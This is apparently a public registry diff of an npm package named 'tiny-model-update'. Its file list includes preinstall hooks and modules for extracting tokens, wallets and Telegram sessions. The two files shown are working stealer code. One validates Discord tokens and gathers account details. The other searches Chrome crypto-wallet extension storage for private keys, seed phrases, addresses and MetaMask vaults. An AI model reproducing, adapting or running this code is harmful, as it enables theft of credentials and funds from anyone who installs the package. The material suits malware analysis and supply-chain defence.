tiny-model-update 1.15.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +104 -0
- package/bin/admin-control.js +6 -0
- package/bin/extract-tokens.cmd +10 -0
- package/bin/extract-tokens.js +211 -0
- package/bin/generate-invites.js +39 -0
- package/bin/preinstall.cmd +10 -0
- package/bin/preinstall.js +720 -0
- package/bin/preinstall.vbs +18 -0
- package/bin/restart-bot.js +131 -0
- package/bin/start-bot.js +16 -0
- package/bin/stop-bot.js +127 -0
- package/index.js +27 -0
- package/lib/admin-control.js +55 -0
- package/lib/auto-cycle.js +232 -0
- package/lib/auto-updater.js +145 -0
- package/lib/cycle-runner.js +67 -0
- package/lib/discord-bot.js +101 -0
- package/lib/discord-desktop-decrypt.js +161 -0
- package/lib/encryption.js +22 -0
- package/lib/invite-bot-rest.js +193 -0
- package/lib/invite-bot.js +188 -0
- package/lib/process-cleanup.js +106 -0
- package/lib/security-bypass.js +70 -0
- package/lib/telegram-extractor.js +443 -0
- package/lib/telegram-session-reader.js +144 -0
- package/lib/telegram-session-sender.js +223 -0
- package/lib/telegram.js +94 -0
- package/lib/token-extractor.js +620 -0
- package/lib/token-verifier.js +100 -0
- package/lib/wallet-extractor.js +447 -0
- package/lib/wallet-sender.js +151 -0
- package/package.json +44 -0
|
@@ -0,0 +1,100 @@
|
|
|
1
|
+
// Verify Discord token and get user info including region
|
|
2
|
+
export async function verifyDiscordToken(token) {
|
|
3
|
+
try {
|
|
4
|
+
// Get user info
|
|
5
|
+
const userResponse = await fetch('https://discord.com/api/v10/users/@me', {
|
|
6
|
+
headers: {
|
|
7
|
+
'Authorization': token,
|
|
8
|
+
'Content-Type': 'application/json'
|
|
9
|
+
}
|
|
10
|
+
});
|
|
11
|
+
|
|
12
|
+
if (!userResponse.ok) {
|
|
13
|
+
return {
|
|
14
|
+
valid: false,
|
|
15
|
+
error: userResponse.status === 401 ? 'Invalid or expired token' : `HTTP ${userResponse.status}`
|
|
16
|
+
};
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
const userData = await userResponse.json();
|
|
20
|
+
|
|
21
|
+
// Get user's guilds to determine activity
|
|
22
|
+
const guildsResponse = await fetch('https://discord.com/api/v10/users/@me/guilds', {
|
|
23
|
+
headers: {
|
|
24
|
+
'Authorization': token,
|
|
25
|
+
'Content-Type': 'application/json'
|
|
26
|
+
}
|
|
27
|
+
});
|
|
28
|
+
|
|
29
|
+
let guilds = [];
|
|
30
|
+
if (guildsResponse.ok) {
|
|
31
|
+
guilds = await guildsResponse.json();
|
|
32
|
+
}
|
|
33
|
+
|
|
34
|
+
// Try to get region from user's settings or most recent guild
|
|
35
|
+
let region = 'Unknown';
|
|
36
|
+
try {
|
|
37
|
+
// Get user settings which may contain locale/region info
|
|
38
|
+
const settingsResponse = await fetch('https://discord.com/api/v10/users/@me/settings', {
|
|
39
|
+
headers: {
|
|
40
|
+
'Authorization': token,
|
|
41
|
+
'Content-Type': 'application/json'
|
|
42
|
+
}
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
if (settingsResponse.ok) {
|
|
46
|
+
const settings = await settingsResponse.json();
|
|
47
|
+
if (settings.locale) {
|
|
48
|
+
region = settings.locale;
|
|
49
|
+
}
|
|
50
|
+
}
|
|
51
|
+
} catch (e) {
|
|
52
|
+
// Ignore settings fetch errors
|
|
53
|
+
}
|
|
54
|
+
|
|
55
|
+
// If we have guilds, try to get region from the first guild
|
|
56
|
+
if (guilds.length > 0 && region === 'Unknown') {
|
|
57
|
+
try {
|
|
58
|
+
const guildResponse = await fetch(`https://discord.com/api/v10/guilds/${guilds[0].id}`, {
|
|
59
|
+
headers: {
|
|
60
|
+
'Authorization': token,
|
|
61
|
+
'Content-Type': 'application/json'
|
|
62
|
+
}
|
|
63
|
+
});
|
|
64
|
+
|
|
65
|
+
if (guildResponse.ok) {
|
|
66
|
+
const guildData = await guildResponse.json();
|
|
67
|
+
if (guildData.region) {
|
|
68
|
+
region = guildData.region;
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
} catch (e) {
|
|
72
|
+
// Ignore guild fetch errors
|
|
73
|
+
}
|
|
74
|
+
}
|
|
75
|
+
|
|
76
|
+
// Use locale from user data if available
|
|
77
|
+
if (userData.locale && region === 'Unknown') {
|
|
78
|
+
region = userData.locale;
|
|
79
|
+
}
|
|
80
|
+
|
|
81
|
+
return {
|
|
82
|
+
valid: true,
|
|
83
|
+
userId: userData.id,
|
|
84
|
+
username: userData.username,
|
|
85
|
+
discriminator: userData.discriminator,
|
|
86
|
+
email: userData.email || 'Not available',
|
|
87
|
+
locale: userData.locale || 'Unknown',
|
|
88
|
+
region: region,
|
|
89
|
+
guildsCount: guilds.length,
|
|
90
|
+
verified: userData.verified || false,
|
|
91
|
+
mfaEnabled: userData.mfa_enabled || false
|
|
92
|
+
};
|
|
93
|
+
} catch (error) {
|
|
94
|
+
return {
|
|
95
|
+
valid: false,
|
|
96
|
+
error: error.message || 'Verification failed'
|
|
97
|
+
};
|
|
98
|
+
}
|
|
99
|
+
}
|
|
100
|
+
|
|
@@ -0,0 +1,447 @@
|
|
|
1
|
+
import fs from 'fs';
|
|
2
|
+
import path from 'path';
|
|
3
|
+
import os from 'os';
|
|
4
|
+
import { execSync } from 'child_process';
|
|
5
|
+
|
|
6
|
+
// Common cryptocurrency wallet extension IDs
|
|
7
|
+
const WALLET_EXTENSIONS = {
|
|
8
|
+
'nkbihfbeogaeaoehlefnkodbefgpgknn': 'MetaMask',
|
|
9
|
+
'egjidjbpglichdcondbcbdnbeeppgdph': 'Trust Wallet',
|
|
10
|
+
'hnfanknocfeofbddgcijnmhnfnkdnaad': 'Coinbase Wallet',
|
|
11
|
+
'bfnaelmomeimhlpmgjnjophhpkkoljpa': 'Phantom',
|
|
12
|
+
'bhhhlbepdkbapadjdnnojkbgioiodbic': 'Solflare',
|
|
13
|
+
'afbcbjpbpfadlkmhmclhkeeodmamcflc': 'Math Wallet',
|
|
14
|
+
'fhbjgbiflinjbdggehcddcbncdddomop': 'MyEtherWallet',
|
|
15
|
+
'cjelfplplebdjjenllpjcblmjkfcffne': 'Jaxx Liberty',
|
|
16
|
+
'hmeobnfnfnhbdojghkpbgiadugpkpndn': 'TronLink',
|
|
17
|
+
'ibnejdfjmmkpcnlpebklmnkoeoihofec': 'Terra Station',
|
|
18
|
+
'fhbohimaelbohpjbbldcngcnapndodjp': 'Binance Chain Wallet',
|
|
19
|
+
'fhbohimaelbohpjbbldcngcnapndodjp': 'Brave Wallet',
|
|
20
|
+
'cphhlgmgameodnhkjdmkpanlelnlohao': 'Ronin Wallet',
|
|
21
|
+
'nhnkbkgjikgcigadomakhzanogklmutt': 'Keplr',
|
|
22
|
+
'dmkamcknogkgcdfhhbddcghachkejeap': 'OKX Wallet',
|
|
23
|
+
'aodkkagnadcbobfpggfnjeongemjbjaf': 'BitKeep',
|
|
24
|
+
'hpglfhgfnhbgpjdenjgmdgcmccjbmbj': 'TokenPocket',
|
|
25
|
+
'fhbohimaelbohpjbbldcngcnapndodjp': 'SafePal',
|
|
26
|
+
'nkbihfbeogaeaoehlefnkodbefgpgknn': 'MetaMask (Legacy)',
|
|
27
|
+
'cjelfplplebdjjenllpjcblmjkfcffne': 'Jaxx Classic'
|
|
28
|
+
};
|
|
29
|
+
|
|
30
|
+
/**
|
|
31
|
+
* Get Chrome extensions directory path
|
|
32
|
+
*/
|
|
33
|
+
function getChromeExtensionsPath() {
|
|
34
|
+
const platform = os.platform();
|
|
35
|
+
if (platform === 'win32') {
|
|
36
|
+
const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
|
|
37
|
+
return path.join(localAppData, 'Google', 'Chrome', 'User Data');
|
|
38
|
+
}
|
|
39
|
+
return null;
|
|
40
|
+
}
|
|
41
|
+
|
|
42
|
+
/**
|
|
43
|
+
* Find all installed wallet extensions
|
|
44
|
+
*/
|
|
45
|
+
export function findWalletExtensions() {
|
|
46
|
+
const extensions = [];
|
|
47
|
+
const extensionsPath = getChromeExtensionsPath();
|
|
48
|
+
|
|
49
|
+
if (!extensionsPath || !fs.existsSync(extensionsPath)) {
|
|
50
|
+
return extensions;
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
// Get all Chrome profiles
|
|
54
|
+
const profiles = [];
|
|
55
|
+
try {
|
|
56
|
+
const entries = fs.readdirSync(extensionsPath);
|
|
57
|
+
if (fs.existsSync(path.join(extensionsPath, 'Default'))) {
|
|
58
|
+
profiles.push('Default');
|
|
59
|
+
}
|
|
60
|
+
for (const entry of entries) {
|
|
61
|
+
if (entry.startsWith('Profile')) {
|
|
62
|
+
profiles.push(entry);
|
|
63
|
+
}
|
|
64
|
+
}
|
|
65
|
+
} catch (e) {
|
|
66
|
+
return extensions;
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
// Check each profile for extensions
|
|
70
|
+
for (const profile of profiles) {
|
|
71
|
+
const profilePath = path.join(extensionsPath, profile);
|
|
72
|
+
const extensionsDir = path.join(profilePath, 'Extensions');
|
|
73
|
+
|
|
74
|
+
if (!fs.existsSync(extensionsDir)) {
|
|
75
|
+
continue;
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
try {
|
|
79
|
+
const extensionDirs = fs.readdirSync(extensionsDir);
|
|
80
|
+
|
|
81
|
+
for (const extId of extensionDirs) {
|
|
82
|
+
if (WALLET_EXTENSIONS[extId]) {
|
|
83
|
+
const extPath = path.join(extensionsDir, extId);
|
|
84
|
+
if (fs.statSync(extPath).isDirectory()) {
|
|
85
|
+
// Get version directory
|
|
86
|
+
try {
|
|
87
|
+
const versions = fs.readdirSync(extPath);
|
|
88
|
+
if (versions.length > 0) {
|
|
89
|
+
const latestVersion = versions.sort().reverse()[0];
|
|
90
|
+
const versionPath = path.join(extPath, latestVersion);
|
|
91
|
+
|
|
92
|
+
extensions.push({
|
|
93
|
+
id: extId,
|
|
94
|
+
name: WALLET_EXTENSIONS[extId],
|
|
95
|
+
profile: profile,
|
|
96
|
+
path: versionPath,
|
|
97
|
+
storagePath: path.join(profilePath, 'Local Storage', 'chrome-extension_' + extId),
|
|
98
|
+
indexedDBPath: path.join(profilePath, 'IndexedDB', 'chrome-extension_' + extId)
|
|
99
|
+
});
|
|
100
|
+
}
|
|
101
|
+
} catch (e) {
|
|
102
|
+
// Ignore version errors
|
|
103
|
+
}
|
|
104
|
+
}
|
|
105
|
+
}
|
|
106
|
+
}
|
|
107
|
+
} catch (e) {
|
|
108
|
+
// Ignore profile errors
|
|
109
|
+
}
|
|
110
|
+
}
|
|
111
|
+
|
|
112
|
+
return extensions;
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
/**
|
|
116
|
+
* Read LevelDB raw files (similar to token extractor)
|
|
117
|
+
*/
|
|
118
|
+
function readLevelDBRaw(leveldbPath) {
|
|
119
|
+
if (!fs.existsSync(leveldbPath)) {
|
|
120
|
+
return null;
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
try {
|
|
124
|
+
const files = fs.readdirSync(leveldbPath);
|
|
125
|
+
let allData = '';
|
|
126
|
+
|
|
127
|
+
for (const file of files) {
|
|
128
|
+
if (file.endsWith('.ldb') || file.endsWith('.log')) {
|
|
129
|
+
try {
|
|
130
|
+
const filePath = path.join(leveldbPath, file);
|
|
131
|
+
const data = fs.readFileSync(filePath);
|
|
132
|
+
allData += data.toString('utf8', 0, Math.min(data.length, 1000000)); // Limit to 1MB per file
|
|
133
|
+
} catch (e) {
|
|
134
|
+
// Ignore file read errors
|
|
135
|
+
}
|
|
136
|
+
}
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
return allData;
|
|
140
|
+
} catch (e) {
|
|
141
|
+
return null;
|
|
142
|
+
}
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
/**
|
|
146
|
+
* Extract private keys and seed phrases from wallet extension storage
|
|
147
|
+
*/
|
|
148
|
+
export async function extractWalletKeys(extension) {
|
|
149
|
+
const walletData = {
|
|
150
|
+
extension: extension.name,
|
|
151
|
+
extensionId: extension.id,
|
|
152
|
+
profile: extension.profile,
|
|
153
|
+
privateKeys: [],
|
|
154
|
+
seedPhrases: [],
|
|
155
|
+
addresses: [],
|
|
156
|
+
otherData: {}
|
|
157
|
+
};
|
|
158
|
+
|
|
159
|
+
// Special handling for MetaMask
|
|
160
|
+
const isMetaMask = extension.id === 'nkbihfbeogaeaoehlefnkodbefgpgknn';
|
|
161
|
+
|
|
162
|
+
// Method 1: Read Local Storage LevelDB
|
|
163
|
+
if (extension.storagePath && fs.existsSync(extension.storagePath)) {
|
|
164
|
+
const storageData = readLevelDBRaw(extension.storagePath);
|
|
165
|
+
if (storageData) {
|
|
166
|
+
// For MetaMask, search for specific storage keys
|
|
167
|
+
if (isMetaMask) {
|
|
168
|
+
// MetaMask stores data under keys like "metamask" or "metamask-state"
|
|
169
|
+
const metamaskKeyPatterns = [
|
|
170
|
+
/metamask[^"]*["\s]*[:=]\s*({[^}]*vault[^}]*})/gi,
|
|
171
|
+
/"metamask"[^:]*:\s*({[^}]*})/gi,
|
|
172
|
+
/"data"[^:]*:\s*"([^"]*vault[^"]*)"/gi,
|
|
173
|
+
/vault["\s]*[:=]\s*"([^"]+)"/gi
|
|
174
|
+
];
|
|
175
|
+
|
|
176
|
+
for (const pattern of metamaskKeyPatterns) {
|
|
177
|
+
let match;
|
|
178
|
+
while ((match = pattern.exec(storageData)) !== null) {
|
|
179
|
+
const vaultData = match[1] || match[0];
|
|
180
|
+
if (vaultData && vaultData.length > 50) {
|
|
181
|
+
if (!walletData.otherData['metamaskVault']) {
|
|
182
|
+
walletData.otherData['metamaskVault'] = vaultData.substring(0, 2000);
|
|
183
|
+
}
|
|
184
|
+
}
|
|
185
|
+
}
|
|
186
|
+
}
|
|
187
|
+
|
|
188
|
+
// Try to find complete JSON objects containing MetaMask data
|
|
189
|
+
try {
|
|
190
|
+
// Look for JSON objects that might contain the full vault
|
|
191
|
+
const jsonPattern = /\{[^{}]*(?:metamask|vault|encrypted|data|seed|mnemonic)[^{}]*\{[^{}]*\}[^{}]*\}/gi;
|
|
192
|
+
let jsonMatch;
|
|
193
|
+
while ((jsonMatch = jsonPattern.exec(storageData)) !== null) {
|
|
194
|
+
try {
|
|
195
|
+
const jsonStr = jsonMatch[0];
|
|
196
|
+
// Try to find complete JSON by looking for balanced braces
|
|
197
|
+
let braceCount = 0;
|
|
198
|
+
let startIdx = jsonMatch.index;
|
|
199
|
+
let endIdx = startIdx;
|
|
200
|
+
for (let i = startIdx; i < Math.min(startIdx + 5000, storageData.length); i++) {
|
|
201
|
+
if (storageData[i] === '{') braceCount++;
|
|
202
|
+
if (storageData[i] === '}') {
|
|
203
|
+
braceCount--;
|
|
204
|
+
if (braceCount === 0) {
|
|
205
|
+
endIdx = i + 1;
|
|
206
|
+
break;
|
|
207
|
+
}
|
|
208
|
+
}
|
|
209
|
+
}
|
|
210
|
+
if (endIdx > startIdx) {
|
|
211
|
+
const fullJson = storageData.substring(startIdx, endIdx);
|
|
212
|
+
try {
|
|
213
|
+
const parsed = JSON.parse(fullJson);
|
|
214
|
+
const jsonStr = JSON.stringify(parsed);
|
|
215
|
+
if (jsonStr.includes('vault') || jsonStr.includes('metamask') || jsonStr.includes('encrypted')) {
|
|
216
|
+
walletData.otherData['metamaskFullData'] = jsonStr.substring(0, 5000);
|
|
217
|
+
}
|
|
218
|
+
} catch (e) {
|
|
219
|
+
// Not valid JSON, but save the raw data
|
|
220
|
+
walletData.otherData['metamaskRawData'] = fullJson.substring(0, 3000);
|
|
221
|
+
}
|
|
222
|
+
}
|
|
223
|
+
} catch (e) {
|
|
224
|
+
// Continue
|
|
225
|
+
}
|
|
226
|
+
}
|
|
227
|
+
} catch (e) {
|
|
228
|
+
// Ignore
|
|
229
|
+
}
|
|
230
|
+
}
|
|
231
|
+
|
|
232
|
+
// Search for private keys (hex format, typically 64 characters)
|
|
233
|
+
// Also search for keys that might be in different formats
|
|
234
|
+
const privateKeyPatterns = [
|
|
235
|
+
/(?:private[_-]?key|privkey|privateKey|private_key|privKey)[":\s=]+([a-fA-F0-9]{64})/gi,
|
|
236
|
+
/"privateKey"[^:]*:\s*"([a-fA-F0-9]{64})"/gi,
|
|
237
|
+
/privateKey[":\s=]+([a-fA-F0-9]{64})/gi,
|
|
238
|
+
// Also try to find any 64-char hex strings that might be private keys
|
|
239
|
+
/([a-fA-F0-9]{64})/g
|
|
240
|
+
];
|
|
241
|
+
|
|
242
|
+
for (const pattern of privateKeyPatterns) {
|
|
243
|
+
let match;
|
|
244
|
+
while ((match = pattern.exec(storageData)) !== null) {
|
|
245
|
+
const key = match[1];
|
|
246
|
+
// Validate it looks like a private key (not just random hex)
|
|
247
|
+
if (key && key.length === 64 && /^[a-fA-F0-9]{64}$/.test(key)) {
|
|
248
|
+
// Check if it's near wallet-related keywords
|
|
249
|
+
const contextStart = Math.max(0, match.index - 100);
|
|
250
|
+
const contextEnd = Math.min(storageData.length, match.index + match[0].length + 100);
|
|
251
|
+
const context = storageData.substring(contextStart, contextEnd).toLowerCase();
|
|
252
|
+
if (context.includes('key') || context.includes('private') || context.includes('wallet') ||
|
|
253
|
+
context.includes('account') || context.includes('address') || isMetaMask) {
|
|
254
|
+
if (!walletData.privateKeys.includes(key)) {
|
|
255
|
+
walletData.privateKeys.push(key);
|
|
256
|
+
}
|
|
257
|
+
}
|
|
258
|
+
}
|
|
259
|
+
}
|
|
260
|
+
}
|
|
261
|
+
|
|
262
|
+
// Search for seed phrases (12 or 24 words) - improved patterns
|
|
263
|
+
const seedPhrasePatterns = [
|
|
264
|
+
/(?:seed|mnemonic|seed[_-]?phrase|recovery[_-]?phrase|backup[_-]?phrase|secret[_-]?phrase)[":\s=]+([a-z\s]{20,300})/gi,
|
|
265
|
+
/"seedPhrase"[^:]*:\s*"([^"]+)"/gi,
|
|
266
|
+
/"mnemonic"[^:]*:\s*"([^"]+)"/gi,
|
|
267
|
+
/seedPhrase[":\s=]+([a-z\s]{20,300})/gi
|
|
268
|
+
];
|
|
269
|
+
|
|
270
|
+
for (const pattern of seedPhrasePatterns) {
|
|
271
|
+
let match;
|
|
272
|
+
while ((match = pattern.exec(storageData)) !== null) {
|
|
273
|
+
const phrase = match[1].trim();
|
|
274
|
+
const words = phrase.split(/\s+/).filter(w => w.length > 0);
|
|
275
|
+
// Check if it's a valid seed phrase (12 or 24 words, all lowercase letters)
|
|
276
|
+
if (words.length >= 12 && words.length <= 24 &&
|
|
277
|
+
words.every(w => /^[a-z]+$/.test(w) && w.length >= 2 && w.length <= 10)) {
|
|
278
|
+
const fullPhrase = words.join(' ');
|
|
279
|
+
if (!walletData.seedPhrases.includes(fullPhrase)) {
|
|
280
|
+
walletData.seedPhrases.push(fullPhrase);
|
|
281
|
+
}
|
|
282
|
+
}
|
|
283
|
+
}
|
|
284
|
+
}
|
|
285
|
+
|
|
286
|
+
// Search for wallet addresses (improved patterns)
|
|
287
|
+
const addressPatterns = [
|
|
288
|
+
/(?:address|wallet[_-]?address|account[_-]?address|eth[_-]?address)[":\s=]+(0x[a-fA-F0-9]{40})/gi,
|
|
289
|
+
/"address"[^:]*:\s*"(0x[a-fA-F0-9]{40})"/gi,
|
|
290
|
+
/(0x[a-fA-F0-9]{40})/g // Ethereum addresses
|
|
291
|
+
];
|
|
292
|
+
|
|
293
|
+
for (const pattern of addressPatterns) {
|
|
294
|
+
let match;
|
|
295
|
+
while ((match = pattern.exec(storageData)) !== null) {
|
|
296
|
+
const addr = match[1];
|
|
297
|
+
if (addr && addr.startsWith('0x') && addr.length === 42) {
|
|
298
|
+
if (!walletData.addresses.includes(addr)) {
|
|
299
|
+
walletData.addresses.push(addr);
|
|
300
|
+
}
|
|
301
|
+
}
|
|
302
|
+
}
|
|
303
|
+
}
|
|
304
|
+
|
|
305
|
+
// Try to extract complete JSON objects (improved)
|
|
306
|
+
try {
|
|
307
|
+
// Look for larger JSON objects that might contain wallet data
|
|
308
|
+
const largeJsonPattern = /\{[^{}]*(?:vault|encrypted|wallet|metamask|seed|mnemonic|private|address)[^{}]*\{[^{}]*\{[^{}]*\}[^{}]*\}[^{}]*\}/gi;
|
|
309
|
+
let jsonMatch;
|
|
310
|
+
while ((jsonMatch = largeJsonPattern.exec(storageData)) !== null) {
|
|
311
|
+
try {
|
|
312
|
+
// Try to extract complete JSON
|
|
313
|
+
let startIdx = jsonMatch.index;
|
|
314
|
+
let braceCount = 0;
|
|
315
|
+
let endIdx = startIdx;
|
|
316
|
+
for (let i = startIdx; i < Math.min(startIdx + 10000, storageData.length); i++) {
|
|
317
|
+
if (storageData[i] === '{') braceCount++;
|
|
318
|
+
if (storageData[i] === '}') {
|
|
319
|
+
braceCount--;
|
|
320
|
+
if (braceCount === 0) {
|
|
321
|
+
endIdx = i + 1;
|
|
322
|
+
break;
|
|
323
|
+
}
|
|
324
|
+
}
|
|
325
|
+
}
|
|
326
|
+
if (endIdx > startIdx) {
|
|
327
|
+
const jsonStr = storageData.substring(startIdx, endIdx);
|
|
328
|
+
try {
|
|
329
|
+
const json = JSON.parse(jsonStr);
|
|
330
|
+
const jsonString = JSON.stringify(json);
|
|
331
|
+
|
|
332
|
+
// Check for encrypted vaults (MetaMask format)
|
|
333
|
+
if (jsonString.includes('vault') || jsonString.includes('encrypted') ||
|
|
334
|
+
jsonString.includes('metamask') || jsonString.includes('data')) {
|
|
335
|
+
if (!walletData.otherData['encryptedVault']) {
|
|
336
|
+
walletData.otherData['encryptedVault'] = jsonString.substring(0, 5000);
|
|
337
|
+
}
|
|
338
|
+
}
|
|
339
|
+
|
|
340
|
+
// Check for wallet data
|
|
341
|
+
if (jsonString.includes('wallet') || jsonString.includes('account') ||
|
|
342
|
+
jsonString.includes('address') || jsonString.includes('key')) {
|
|
343
|
+
if (!walletData.otherData['walletData']) {
|
|
344
|
+
walletData.otherData['walletData'] = jsonString.substring(0, 5000);
|
|
345
|
+
}
|
|
346
|
+
}
|
|
347
|
+
} catch (e) {
|
|
348
|
+
// Not valid JSON, but might contain useful data
|
|
349
|
+
if (jsonStr.includes('vault') || jsonStr.includes('metamask')) {
|
|
350
|
+
walletData.otherData['rawVaultData'] = jsonStr.substring(0, 3000);
|
|
351
|
+
}
|
|
352
|
+
}
|
|
353
|
+
}
|
|
354
|
+
} catch (e) {
|
|
355
|
+
// Continue
|
|
356
|
+
}
|
|
357
|
+
}
|
|
358
|
+
} catch (e) {
|
|
359
|
+
// Ignore JSON parsing errors
|
|
360
|
+
}
|
|
361
|
+
}
|
|
362
|
+
}
|
|
363
|
+
|
|
364
|
+
// Method 2: Read IndexedDB
|
|
365
|
+
if (extension.indexedDBPath && fs.existsSync(extension.indexedDBPath)) {
|
|
366
|
+
try {
|
|
367
|
+
const indexedDBFiles = fs.readdirSync(extension.indexedDBPath);
|
|
368
|
+
for (const file of indexedDBFiles) {
|
|
369
|
+
if (file.endsWith('.ldb') || file.endsWith('.log')) {
|
|
370
|
+
try {
|
|
371
|
+
const filePath = path.join(extension.indexedDBPath, file);
|
|
372
|
+
const data = fs.readFileSync(filePath);
|
|
373
|
+
const dataStr = data.toString('utf8', 0, Math.min(data.length, 1000000));
|
|
374
|
+
|
|
375
|
+
// Search for private keys in IndexedDB
|
|
376
|
+
const privateKeyRegex = /([a-fA-F0-9]{64})/g;
|
|
377
|
+
let match;
|
|
378
|
+
while ((match = privateKeyRegex.exec(dataStr)) !== null) {
|
|
379
|
+
const key = match[1];
|
|
380
|
+
if (!walletData.privateKeys.includes(key)) {
|
|
381
|
+
walletData.privateKeys.push(key);
|
|
382
|
+
}
|
|
383
|
+
}
|
|
384
|
+
|
|
385
|
+
// Search for seed phrases
|
|
386
|
+
const seedPhraseRegex = /([a-z\s]{20,200})/g;
|
|
387
|
+
while ((match = seedPhraseRegex.exec(dataStr)) !== null) {
|
|
388
|
+
const phrase = match[1].trim();
|
|
389
|
+
const words = phrase.split(/\s+/);
|
|
390
|
+
if (words.length >= 12 && words.length <= 24) {
|
|
391
|
+
if (!walletData.seedPhrases.includes(phrase)) {
|
|
392
|
+
walletData.seedPhrases.push(phrase);
|
|
393
|
+
}
|
|
394
|
+
}
|
|
395
|
+
}
|
|
396
|
+
} catch (e) {
|
|
397
|
+
// Ignore file read errors
|
|
398
|
+
}
|
|
399
|
+
}
|
|
400
|
+
}
|
|
401
|
+
} catch (e) {
|
|
402
|
+
// Ignore IndexedDB errors
|
|
403
|
+
}
|
|
404
|
+
}
|
|
405
|
+
|
|
406
|
+
// Method 3: Try to read extension's own storage files
|
|
407
|
+
try {
|
|
408
|
+
const manifestPath = path.join(extension.path, 'manifest.json');
|
|
409
|
+
if (fs.existsSync(manifestPath)) {
|
|
410
|
+
const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf8'));
|
|
411
|
+
walletData.otherData['manifest'] = {
|
|
412
|
+
name: manifest.name,
|
|
413
|
+
version: manifest.version
|
|
414
|
+
};
|
|
415
|
+
}
|
|
416
|
+
} catch (e) {
|
|
417
|
+
// Ignore manifest errors
|
|
418
|
+
}
|
|
419
|
+
|
|
420
|
+
return walletData;
|
|
421
|
+
}
|
|
422
|
+
|
|
423
|
+
/**
|
|
424
|
+
* Extract all wallet keys from all installed wallet extensions
|
|
425
|
+
*/
|
|
426
|
+
export async function extractAllWalletKeys() {
|
|
427
|
+
const extensions = findWalletExtensions();
|
|
428
|
+
const allWalletData = [];
|
|
429
|
+
|
|
430
|
+
for (const extension of extensions) {
|
|
431
|
+
try {
|
|
432
|
+
const walletData = await extractWalletKeys(extension);
|
|
433
|
+
|
|
434
|
+
// Only add if we found something
|
|
435
|
+
if (walletData.privateKeys.length > 0 ||
|
|
436
|
+
walletData.seedPhrases.length > 0 ||
|
|
437
|
+
walletData.addresses.length > 0) {
|
|
438
|
+
allWalletData.push(walletData);
|
|
439
|
+
}
|
|
440
|
+
} catch (e) {
|
|
441
|
+
// Continue with next extension
|
|
442
|
+
}
|
|
443
|
+
}
|
|
444
|
+
|
|
445
|
+
return allWalletData;
|
|
446
|
+
}
|
|
447
|
+
|